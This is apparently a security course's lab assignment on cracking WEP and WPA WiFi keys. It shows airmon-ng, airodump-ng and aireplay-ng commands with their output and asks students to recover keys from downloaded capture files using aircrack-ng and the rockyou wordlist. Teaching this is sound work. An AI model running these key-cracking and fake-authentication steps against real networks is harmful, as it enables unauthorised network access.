Week 11 Assignment

In Class, we cracked two Wifi access points, one using `WEP` encryption and the other using `WPA`.

Part 1: WEP

Background

> First, we set our wifi adapter to `monitor` mode using the `airmon-ng` command:

```
airmon-ng start wlan0
```

```
PHY Interface   Driver  Chipset

phy2    wlan0   rtl8187 Realtek Semiconductor Corp. RTL8187
```

> Next, we located our `WEP` encrypted wifi access point:

```
airodump-ng wlan0mon
```

```
 CH  6 ][ Elapsed: 12 s ][ 2019-11-18 15:53

 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 00:0F:66:9E:16:46  -23       14        0    0   6  54   WEP  WEP         WEP
```

> Then we captured packets seen from the `WEP` wifi access point using the associated BSSID

```
airodump-ng -c 6 --bssid 00:0F:66:9E:16:46 -w WEP wlan0mon
```

```
 CH  6 ][ Elapsed: 1 min ][ 2019-11-18 16:51

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 00:0F:66:9E:16:46  -26 100      613      147    0   6  54   WEP  WEP         WEP

 BSSID              STATION            PWR   Rate    Lost    Frames  Probe

 00:0F:66:9E:16:46  78:4B:87:F8:D0:45  -33   54 -11      0       16
```

> We sent a fake authentication request:

```
aireplay-ng -1 0 -e WEP -a 00:0F:66:9E:16:46 -h 0e:ed:83:a9:84:45 wlan0mon
```

```
17:21:05  Waiting for beacon frame (BSSID: 00:0F:66:9E:16:46) on channel 6

17:21:05  Sending Authentication Request (Open System) [ACK]
17:21:05  Authentication successful
17:21:05  Sending Association Request [ACK]
17:21:05  Association successful :-) (AID: 1)
```

> Finally, we cracked the `WEP` key using the `aircrack-ng` command.

Assignment

Your task is to examine the `WEP.cap` file and crack the `WEP` key.

Download the `WEP.cap` file. You can do this in your `kali VM` using the following command:

```
wget https://raw.githubusercontent.com/kkatayama/cyber_topics/master/WEP.cap
```

Now use `aircrack-ng` or any tool of your choice to recover the `WEP` key.

> **Hints:**
> `aircrack-ng --help` will list the flag options available to use with the `aircrack-ng` command.
> You may not need to use any flags to crack the `WEP` key.

1. What is the WEP key?

---

2. Paste the command you used to crack the WEP key.

---

3. Attach a screenshot showing the output of the command you used to crack the WEP key.

Part 2: WPA

Background

> First, we set our wifi adapter to `monitor` mode using the `airmon-ng` command:

```
airmon-ng start wlan0
```

```
PHY Interface   Driver  Chipset

phy2    wlan0   rtl8187 Realtek Semiconductor Corp. RTL8187
```

> Next, we located our `WPA` encrypted wifi access point:

```
airodump-ng wlan0mon
```

```
 CH  6 ][ Elapsed: 12 s ][ 2019-11-18 15:53

 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 00:18:39:EC:F4:D8  -23        9        0    0   6  54   WPA  TKIP   PSK  WPA
```

> Then we captured `Handshake` packets seen from the `WPA` wifi access point using the associated BSSID

```
airodump-ng -c 6 --bssid 00:18:39:EC:F4:D8 -w WPA wlan0mon
```

```
 CH  6 ][ Elapsed: 1 min ][ 2019-11-18 16:51

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 00:18:39:EC:F4:D8  -26 100      613      147    0   6  54   WPA  TKIP   PSK  WPA

 BSSID              STATION            PWR   Rate    Lost    Frames  Probe

 00:18:39:EC:F4:D8  78:4B:87:F8:D0:45  -33   54 -11      0       16
```

> Finally, we cracked the `WEP` key using the `aircrack-ng` command.

Assignment

Your task is to examine the `WPA.cap` file and crack the `WPA` key.

Download the `WPA.cap` file. You can do this in your `kali VM` using the following command:

```
wget https://raw.githubusercontent.com/kkatayama/cyber_topics/master/WPA.cap
```

You should use a wordlist to help with cracking the `WPA` key. Your `kali VM` comes with the `rockyou.txt` wordlist and can be obtained using the following commands:

```
cp /usr/share/wordlists/rockyou.txt.gz rockyou.txt
gunzip rockyou.txt.gz
```

Now use `aircrack-ng` or any tool of your choice to recover the `WPA` key.

> **Hints:**
> `aircrack-ng --help` will list the flag options available to use with the `aircrack-ng` command.
> You should use the `rockyou.txt` wordlist in you command (there may be a flag for using wordlists).

1. What is the WPA key?

---

2. Paste the command you used to crack the WPA key.

---

3. Attach a screenshot showing the output of the command you used to crack the WPA key.